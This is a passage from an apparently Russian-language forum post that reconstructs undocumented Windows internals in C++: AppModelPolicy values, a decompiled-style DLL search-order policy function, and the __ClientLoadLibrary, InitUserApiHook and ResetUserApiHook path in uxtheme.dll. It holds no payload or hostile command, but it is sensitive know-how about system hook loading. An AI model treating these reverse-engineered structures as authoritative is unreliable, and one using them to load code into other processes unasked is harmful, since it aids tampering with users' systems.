&nbsp; &nbsp; NonWindowsCodeLoading_Denied <span class="sy1">=</span> <span class="nu12">0x60001</span>,
&nbsp; &nbsp; ProcessEnd_TerminateProcess <span class="sy1">=</span> <span class="nu12">0x70000</span>,
&nbsp; &nbsp; ProcessEnd_ExitProcess <span class="sy1">=</span> <span class="nu12">0x70001</span>,
&nbsp; &nbsp; BeginThreadInit_RoInitialize <span class="sy1">=</span> <span class="nu12">0x80000</span>,
&nbsp; &nbsp; BeginThreadInit_None <span class="sy1">=</span> <span class="nu12">0x80001</span>,
&nbsp; &nbsp; DeveloperInformation_UI <span class="sy1">=</span> <span class="nu12">0x90000</span>,
&nbsp; &nbsp; DeveloperInformation_None <span class="sy1">=</span> <span class="nu12">0x90001</span>,
&nbsp; &nbsp; CreateFileAccess_Full <span class="sy1">=</span> <span class="nu12">0xA0000</span>,
&nbsp; &nbsp; CreateFileAccess_Limited <span class="sy1">=</span> <span class="nu12">0xA0001</span>,
&nbsp; &nbsp; ImplicitPackageBreakaway_Allowed <span class="sy1">=</span> <span class="nu12">0xB0000</span>,
&nbsp; &nbsp; ImplicitPackageBreakaway_Denied <span class="sy1">=</span> <span class="nu12">0xB0001</span>,
&nbsp; &nbsp; ImplicitPackageBreakaway_DeniedByApp <span class="sy1">=</span> <span class="nu12">0xB0002</span>,
&nbsp; &nbsp; ProcessActivationShim_None <span class="sy1">=</span> <span class="nu12">0xC0000</span>,
&nbsp; &nbsp; ProcessActivationShim_PackagedCWALauncher <span class="sy1">=</span> <span class="nu12">0xC0001</span>,
&nbsp; &nbsp; AppKnownToStateRepository_Known <span class="sy1">=</span> <span class="nu12">0xD0000</span>,
&nbsp; &nbsp; AppKnownToStateRepository_Unknown <span class="sy1">=</span> <span class="nu12">0xD0001</span>,
&nbsp; &nbsp; AudioManagement_Unmanaged <span class="sy1">=</span> <span class="nu12">0xE0000</span>,
&nbsp; &nbsp; AudioManagement_ManagedByPBM <span class="sy1">=</span> <span class="nu12">0xE0001</span>,
&nbsp; &nbsp; PackageMayContainPublicComRegistrations_Yes <span class="sy1">=</span> <span class="nu12">0xF0000</span>,
&nbsp; &nbsp; PackageMayContainPublicComRegistrations_No <span class="sy1">=</span> <span class="nu12">0xF0001</span>,
&nbsp; &nbsp; PackageMayContainPrivateComRegistrations_None <span class="sy1">=</span> <span class="nu12">0x100000</span>,
&nbsp; &nbsp; PackageMayContainPrivateComRegistrations_PrivateHive <span class="sy1">=</span> <span class="nu12">0x100001</span>,
&nbsp; &nbsp; LaunchCreateProcessExtensions_None <span class="sy1">=</span> <span class="nu12">0x110000</span>,
&nbsp; &nbsp; LaunchCreateProcessExtensions_RegisterWithPsm <span class="sy1">=</span> <span class="nu12">0x110001</span>,
&nbsp; &nbsp; LaunchCreateProcessExtensions_RegisterWithDesktopAppX <span class="sy1">=</span> <span class="nu12">0x110002</span>,
&nbsp; &nbsp; ClrCompat_Others <span class="sy1">=</span> <span class="nu12">0x120000</span>,
&nbsp; &nbsp; ClrCompat_ClassicDesktop <span class="sy1">=</span> <span class="nu12">0x120001</span>,
&nbsp; &nbsp; ClrCompat_Universal <span class="sy1">=</span> <span class="nu12">0x120002</span>,
&nbsp; &nbsp; ClrCompat_PackagedDesktop <span class="sy1">=</span> <span class="nu12">0x120003</span>,
&nbsp; &nbsp; LoaderIgnoreAlteredSearchForRelativePath_False <span class="sy1">=</span> <span class="nu12">0x130000</span>,
&nbsp; &nbsp; LoaderIgnoreAlteredSearchForRelativePath_True <span class="sy1">=</span> <span class="nu12">0x130001</span>,
&nbsp; &nbsp; ImplicitlyActivateClassicAAAServersAsIU_Yes <span class="sy1">=</span> <span class="nu12">0x140000</span>,
&nbsp; &nbsp; ImplicitlyActivateClassicAAAServersAsIU_No <span class="sy1">=</span> <span class="nu12">0x140001</span>,
&nbsp; &nbsp; ComClassicCatalog_MachineHiveAndUserHive <span class="sy1">=</span> <span class="nu12">0x150000</span>,
&nbsp; &nbsp; ComClassicCatalog_MachineHiveOnly <span class="sy1">=</span> <span class="nu12">0x150001</span>,
&nbsp; &nbsp; ComUnmarshaling_ForceStrongUnmarshaling <span class="sy1">=</span> <span class="nu12">0x160000</span>,
&nbsp; &nbsp; ComUnmarshaling_ApplicationManaged <span class="sy1">=</span> <span class="nu12">0x160001</span>,
&nbsp; &nbsp; ComAppLaunchPerfEnhancements_Enabled <span class="sy1">=</span> <span class="nu12">0x170000</span>,
&nbsp; &nbsp; ComAppLaunchPerfEnhancements_Disabled <span class="sy1">=</span> <span class="nu12">0x170001</span>,
&nbsp; &nbsp; ComSecurityInitialization_ApplicationManaged <span class="sy1">=</span> <span class="nu12">0x180000</span>,
&nbsp; &nbsp; ComSecurityInitialization_SystemManaged <span class="sy1">=</span> <span class="nu12">0x180001</span>,
&nbsp; &nbsp; RoInitializeSingleThreadedBehavior_ASTA <span class="sy1">=</span> <span class="nu12">0x190000</span>,
&nbsp; &nbsp; RoInitializeSingleThreadedBehavior_STA <span class="sy1">=</span> <span class="nu12">0x190001</span>,
&nbsp; &nbsp; ComDefaultExceptionHandling_HandleAll <span class="sy1">=</span> <span class="nu12">0x1A0000</span>,
&nbsp; &nbsp; ComDefaultExceptionHandling_HandleNone <span class="sy1">=</span> <span class="nu12">0x1A0001</span>,
&nbsp; &nbsp; ComOopProxyAgility_Agile <span class="sy1">=</span> <span class="nu12">0x1B0000</span>,
&nbsp; &nbsp; ComOopProxyAgility_NonAgile <span class="sy1">=</span> <span class="nu12">0x1B0001</span>,
&nbsp; &nbsp; AppServiceLifetime_StandardTimeout <span class="sy1">=</span> <span class="nu12">0x1C0000</span>,
&nbsp; &nbsp; AppServiceLifetime_ExtendedForSamePackage <span class="sy1">=</span> <span class="nu12">0x1C0001</span>,
&nbsp; &nbsp; WebPlatform_Edge <span class="sy1">=</span> <span class="nu12">0x1D0000</span>,
&nbsp; &nbsp; WebPlatform_Legacy <span class="sy1">=</span> <span class="nu12">0x1D0001</span>,
&nbsp; &nbsp; WinInetStoragePartitioning_Isolated <span class="sy1">=</span> <span class="nu12">0x1E0000</span>,
&nbsp; &nbsp; WinInetStoragePartitioning_SharedWithAppContainer <span class="sy1">=</span> <span class="nu12">0x1E0001</span>,
&nbsp; &nbsp; IndexerProtocolHandlerHost_PerUser <span class="sy1">=</span> <span class="nu12">0x1F0000</span>,
&nbsp; &nbsp; IndexerProtocolHandlerHost_PerApp <span class="sy1">=</span> <span class="nu12">0x1F0001</span>,
&nbsp; &nbsp; LoaderIncludeUserDirectories_False <span class="sy1">=</span> <span class="nu12">0x200000</span>,
&nbsp; &nbsp; LoaderIncludeUserDirectories_True <span class="sy1">=</span> <span class="nu12">0x200001</span>,
&nbsp; &nbsp; ConvertAppContainerToRestrictedAppContainer_False <span class="sy1">=</span> <span class="nu12">0x210000</span>,
&nbsp; &nbsp; ConvertAppContainerToRestrictedAppContainer_True <span class="sy1">=</span> <span class="nu12">0x210001</span>,
&nbsp; &nbsp; PackageMayContainPrivateMapiProvider_None <span class="sy1">=</span> <span class="nu12">0x220000</span>,
&nbsp; &nbsp; PackageMayContainPrivateMapiProvider_PrivateHive <span class="sy1">=</span> <span class="nu12">0x220001</span>,
&nbsp; &nbsp; AdminProcessPackageClaims_None <span class="sy1">=</span> <span class="nu12">0x230000</span>,
&nbsp; &nbsp; AdminProcessPackageClaims_Caller <span class="sy1">=</span> <span class="nu12">0x230001</span>,
&nbsp; &nbsp; RegistryRedirectionBehavior_None <span class="sy1">=</span> <span class="nu12">0x240000</span>,
&nbsp; &nbsp; RegistryRedirectionBehavior_CopyOnWrite <span class="sy1">=</span> <span class="nu12">0x240001</span>,
&nbsp; &nbsp; BypassCreateProcessAppxExtension_False <span class="sy1">=</span> <span class="nu12">0x250000</span>,
&nbsp; &nbsp; BypassCreateProcessAppxExtension_True <span class="sy1">=</span> <span class="nu12">0x250001</span>,
&nbsp; &nbsp; KnownFolderRedirection_Isolated <span class="sy1">=</span> <span class="nu12">0x260000</span>,
&nbsp; &nbsp; KnownFolderRedirection_RedirectToPackage <span class="sy1">=</span> <span class="nu12">0x260001</span>,
&nbsp; &nbsp; PrivateActivateAsPackageWinrtClasses_AllowNone <span class="sy1">=</span> <span class="nu12">0x270000</span>,
&nbsp; &nbsp; PrivateActivateAsPackageWinrtClasses_AllowFullTrust <span class="sy1">=</span> <span class="nu12">0x270001</span>,
&nbsp; &nbsp; PrivateActivateAsPackageWinrtClasses_AllowNonFullTrust <span class="sy1">=</span> <span class="nu12">0x270002</span>,
&nbsp; &nbsp; AppPrivateFolderRedirection_None <span class="sy1">=</span> <span class="nu12">0x280000</span>,
&nbsp; &nbsp; AppPrivateFolderRedirection_AppPrivate <span class="sy1">=</span> <span class="nu12">0x280001</span>,
&nbsp; &nbsp; GlobalSystemAppDataAccess_Normal <span class="sy1">=</span> <span class="nu12">0x290000</span>,
&nbsp; &nbsp; GlobalSystemAppDataAccess_Virtualized <span class="sy1">=</span> <span class="nu12">0x290001</span>,
&nbsp; &nbsp; ConsoleHandleInheritance_ConsoleOnly <span class="sy1">=</span> <span class="nu12">0x2A0000</span>,
&nbsp; &nbsp; ConsoleHandleInheritance_All <span class="sy1">=</span> <span class="nu12">0x2A0001</span>,
&nbsp; &nbsp; ConsoleBufferAccess_RestrictedUnidirectional <span class="sy1">=</span> <span class="nu12">0x2B0000</span>,
&nbsp; &nbsp; ConsoleBufferAccess_Unrestricted <span class="sy1">=</span> <span class="nu12">0x2B0001</span>,
&nbsp; &nbsp; ConvertCallerTokenToUserTokenForDeployment_UserCallerToken <span class="sy1">=</span> <span class="nu12">0x2C0000</span>,
&nbsp; &nbsp; ConvertCallerTokenToUserTokenForDeployment_ConvertTokenToUserToken <span class="sy1">=</span> <span class="nu12">0x2C0001</span>,
<span class="br0">&#125;</span> AppModelPolicy_PolicyValue, <span class="sy2">*</span>pAppModelPolicy_PolicyValue<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _PS_PKG_CLAIM <span class="br0">&#123;</span>
&nbsp; &nbsp; ULONG_PTR Flags<span class="sy4">;</span>
&nbsp; &nbsp; ULONG_PTR Origin<span class="sy4">;</span>
<span class="br0">&#125;</span> PS_PKG_CLAIM, <span class="sy2">*</span>PPS_PKG_CLAIM<span class="sy4">;</span>
&nbsp;
<span class="co2">#ifdef _WIN64</span>
<span class="kw4">typedef</span> LRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_AppModelPolicy_GetPolicy_Internal<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ HANDLE TokenHandle,
&nbsp; &nbsp; _In_opt_ AppModelPolicy_Type ModelPolicy_Type,
&nbsp; &nbsp; _In_ pAppModelPolicy_PolicyValue ModelPolicy_Value,
&nbsp; &nbsp; _Out_opt_ PPS_PKG_CLAIM PkgClaim,
&nbsp; &nbsp; _Out_opt_ PULONG_PTR AttributesPresent
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
<span class="co2">#else</span>
<span class="kw4">typedef</span> LRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_AppModelPolicy_GetPolicy_Internal<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ HANDLE TokenHandle,
&nbsp; &nbsp; _In_ pAppModelPolicy_PolicyValue ModelPolicy_Value,
&nbsp; &nbsp; _Out_opt_ PPS_PKG_CLAIM PkgClaim,
&nbsp; &nbsp; _Out_opt_ PULONG_PTR AttributesPresent
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
<span class="co2">#endif // _WIN64</span>
&nbsp;
<span class="co2">#define STATUS_NOT_FOUND 0xC0000225</span>
<span class="co2">#ifdef _WIN64</span>
LRESULT AppModelPolicy_GetPolicy_Internal<span class="br0">&#40;</span>HANDLE TokenHandle, AppModelPolicy_Type ModelPolicy_Type, pAppModelPolicy_PolicyValue ModelPolicy_Value, PPS_PKG_CLAIM PsPkgClaim, PULONG_PTR AttributesPresent<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; AppModelPolicy_PolicyValue newModelPolicy_Value<span class="sy4">;</span>
&nbsp; &nbsp; ULONG_PTR newPsPkgClaim<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; NTSTATUS Result <span class="sy1">=</span> RtlQueryPackageClaims<span class="br0">&#40;</span>TokenHandle, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, PsPkgClaim, AttributesPresent<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>Result <span class="sy1">==</span> STATUS_NOT_FOUND<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span>AttributesPresent <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; Result <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span><span class="br0">&#40;</span>PULONG_PTR<span class="br0">&#41;</span>PsPkgClaim <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="sy2">*</span>ModelPolicy_Value <span class="sy1">=</span> None<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>Result <span class="sy3">&amp;</span> <span class="nu12">0x80000000</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>PBYTE<span class="br0">&#41;</span>AttributesPresent <span class="sy3">&amp;</span> <span class="nu0">1</span> <span class="sy3">&amp;&amp;</span> <span class="sy2">*</span><span class="br0">&#40;</span>PBYTE<span class="br0">&#41;</span>AttributesPresent <span class="sy3">&amp;</span> <span class="nu0">2</span> <span class="sy3">&amp;&amp;</span> <span class="sy3">!</span><span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>PBYTE<span class="br0">&#41;</span>AttributesPresent <span class="sy3">&amp;</span> <span class="nu0">4</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newPsPkgClaim <span class="sy1">=</span> <span class="sy2">*</span><span class="br0">&#40;</span>PULONG_PTR<span class="br0">&#41;</span>PsPkgClaim<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>_bittest64<span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">const</span> PLONG_PTR<span class="br0">&#41;</span><span class="sy3">&amp;</span>newPsPkgClaim, 0xAu<span class="br0">&#41;</span> <span class="sy3">||</span> _bittest64<span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">const</span> PLONG_PTR<span class="br0">&#41;</span><span class="sy3">&amp;</span>newPsPkgClaim, 0xBu<span class="br0">&#41;</span> <span class="sy3">||</span> newPsPkgClaim <span class="sy3">&amp;</span> <span class="nu0">4</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newModelPolicy_Value <span class="sy1">=</span> DllSearchOrder_PackageGraphBased<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_6<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span><span class="br0">&#40;</span>newPsPkgClaim <span class="sy3">&amp;</span> <span class="nu0">8</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newModelPolicy_Value <span class="sy1">=</span> DllSearchOrder_Traditional<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span><span class="br0">&#40;</span>newPsPkgClaim <span class="sy3">&amp;</span> <span class="nu12">0x40</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newModelPolicy_Value <span class="sy1">=</span> <span class="br0">&#40;</span>AppModelPolicy_PolicyValue<span class="br0">&#41;</span><span class="br0">&#40;</span>~<span class="br0">&#40;</span>UCHAR<span class="br0">&#41;</span><span class="br0">&#40;</span>newPsPkgClaim <span class="sy1">&gt;&gt;</span> <span class="nu0">12</span><span class="br0">&#41;</span> <span class="sy3">&amp;</span> <span class="nu0">1</span> <span class="sy3">|</span> DllSearchOrder_Traditional<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_6<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; newModelPolicy_Value <span class="sy1">=</span> DllSearchOrder_PackageGraphBased<span class="sy4">;</span>
&nbsp; &nbsp; LABEL_6<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span>ModelPolicy_Value <span class="sy1">=</span> newModelPolicy_Value<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="kw1">return</span> Result<span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="co2">#else</span>
LRESULT AppModelPolicy_GetPolicy_Internal<span class="br0">&#40;</span>HANDLE TokenHandle, pAppModelPolicy_PolicyValue ModelPolicy_Value, PPS_PKG_CLAIM PsPkgClaim, PULONG_PTR AttributesPresent<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; AppModelPolicy_PolicyValue newModelPolicy_Value<span class="sy4">;</span>
&nbsp; &nbsp; LONG newPsPkgClaim<span class="sy4">;</span>
&nbsp; &nbsp; LONG newAttributesPresent<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; NTSTATUS Result <span class="sy1">=</span> RtlQueryPackageClaims<span class="br0">&#40;</span>TokenHandle, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, PsPkgClaim, AttributesPresent<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>Result <span class="sy1">==</span> STATUS_NOT_FOUND<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span>AttributesPresent <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; Result <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span><span class="br0">&#40;</span>PULONG_PTR<span class="br0">&#41;</span>PsPkgClaim <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="sy2">*</span>ModelPolicy_Value <span class="sy1">=</span> None<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>Result <span class="sy1">&gt;=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; newAttributesPresent <span class="sy1">=</span> <span class="sy2">*</span>AttributesPresent<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span><span class="br0">&#40;</span><span class="sy2">*</span>AttributesPresent <span class="sy3">&amp;</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy3">||</span> <span class="sy3">!</span><span class="br0">&#40;</span>newAttributesPresent <span class="sy3">&amp;</span> <span class="nu0">2</span><span class="br0">&#41;</span> <span class="sy3">||</span> newAttributesPresent <span class="sy3">&amp;</span> <span class="nu0">4</span><span class="br0">&#41;</span> <span class="kw1">goto</span> LABEL_12<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; newPsPkgClaim <span class="sy1">=</span> <span class="sy2">*</span><span class="br0">&#40;</span>PLONG<span class="br0">&#41;</span>PsPkgClaim<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span><span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>PLONG<span class="br0">&#41;</span>PsPkgClaim <span class="sy3">&amp;</span> <span class="nu12">0x400</span><span class="br0">&#41;</span> <span class="sy3">&amp;&amp;</span> <span class="sy3">!</span><span class="br0">&#40;</span>newPsPkgClaim <span class="sy3">&amp;</span> <span class="nu12">0x800</span><span class="br0">&#41;</span> <span class="sy3">&amp;&amp;</span> <span class="sy3">!</span><span class="br0">&#40;</span>newPsPkgClaim <span class="sy3">&amp;</span> <span class="nu0">4</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>newPsPkgClaim <span class="sy3">&amp;</span> <span class="nu0">8</span> <span class="sy3">||</span> newPsPkgClaim <span class="sy3">&amp;</span> <span class="nu12">0x40</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LABEL_12<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newModelPolicy_Value <span class="sy1">=</span> DllSearchOrder_Traditional<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LABEL_15<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span>ModelPolicy_Value <span class="sy1">=</span> newModelPolicy_Value<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> Result<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newModelPolicy_Value <span class="sy1">=</span> DllSearchOrder_Traditional<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>newPsPkgClaim <span class="sy3">&amp;</span> <span class="nu12">0x1000</span><span class="br0">&#41;</span> <span class="kw1">goto</span> LABEL_15<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; newModelPolicy_Value <span class="sy1">=</span> DllSearchOrder_PackageGraphBased<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_15<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="kw1">return</span> Result<span class="sy4">;</span>
<span class="br0">&#125;</span>
<span class="co2">#endif // _WIN64</span></pre></td></tr></table></div></td></tr></tbody></table></div>После исправления всех указателей мы возвращаемся к __ClientLoadLibrary, и затем вызывается InitUserApiHook<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="644462500"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="644462500" style="height: 94px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> LRESULT<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_InitUserApiHook<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ HMODULE ghmodUserApiHook,
&nbsp; &nbsp; _Inout_ gpfnInitUserApi gfInitUserApi
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Она вызывает функцию ResetUserApiHook, которая заполняет массив адресом функции, указанным в аргументе 1. После этого она вызывает функцию уведомления, на которую указывает (hModule + lpfnNotify), передавая массив адреса в качестве аргумента 2.<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="295426369"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="295426369" style="height: 78px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> VOID<span class="br0">&#40;</span>WINAPI <span class="sy2">*</span>_ResetUserApiHook<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PUSERAPIHOOK pUserApiHook
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>ResetUserApiHook Заполняет массив, указателем PUSERAPIHOOK (эти данные содержаться в uxtheme.dll)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="598142719"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="598142719" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw4">struct</span> _MSGMASK <span class="br0">&#123;</span>
&nbsp; &nbsp; ULONG_PTR rgb<span class="sy4">;</span>
&nbsp; &nbsp; ULONG cb<span class="sy4">;</span>
&nbsp; &nbsp; UCHAR undefined<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="sy4">;</span>
<span class="br0">&#125;</span> MSGMASK, <span class="sy2">*</span>PMSGMASK<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _USEROWPINFO <span class="br0">&#123;</span>
&nbsp; &nbsp; PVOID pfnBeforeOWP<span class="sy4">;</span>
&nbsp; &nbsp; PVOID pfnAfterOWP<span class="sy4">;</span>
&nbsp; &nbsp; MSGMASK mm<span class="sy4">;</span>
<span class="br0">&#125;</span> USEROWPINFO, <span class="sy2">*</span>PUSEROWPINFO<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _WINDOWPARTS <span class="br0">&#123;</span>
&nbsp; &nbsp; WP_CAPTION <span class="sy1">=</span> <span class="nu12">0x1</span>,
&nbsp; &nbsp; WP_SMALLCAPTION <span class="sy1">=</span> <span class="nu12">0x2</span>,
&nbsp; &nbsp; WP_MINCAPTION <span class="sy1">=</span> <span class="nu12">0x3</span>,
&nbsp; &nbsp; WP_SMALLMINCAPTION <span class="sy1">=</span> <span class="nu12">0x4</span>,
&nbsp; &nbsp; WP_MAXCAPTION <span class="sy1">=</span> <span class="nu12">0x5</span>,
&nbsp; &nbsp; WP_SMALLMAXCAPTION <span class="sy1">=</span> <span class="nu12">0x6</span>,
&nbsp; &nbsp; WP_FRAMELEFT <span class="sy1">=</span> <span class="nu12">0x7</span>,
&nbsp; &nbsp; WP_FRAMERIGHT <span class="sy1">=</span> <span class="nu12">0x8</span>,
&nbsp; &nbsp; WP_FRAMEBOTTOM <span class="sy1">=</span> <span class="nu12">0x9</span>,
&nbsp; &nbsp; WP_SMALLFRAMELEFT <span class="sy1">=</span> <span class="nu12">0x0A</span>,
&nbsp; &nbsp; WP_SMALLFRAMERIGHT <span class="sy1">=</span> <span class="nu12">0x0B</span>,
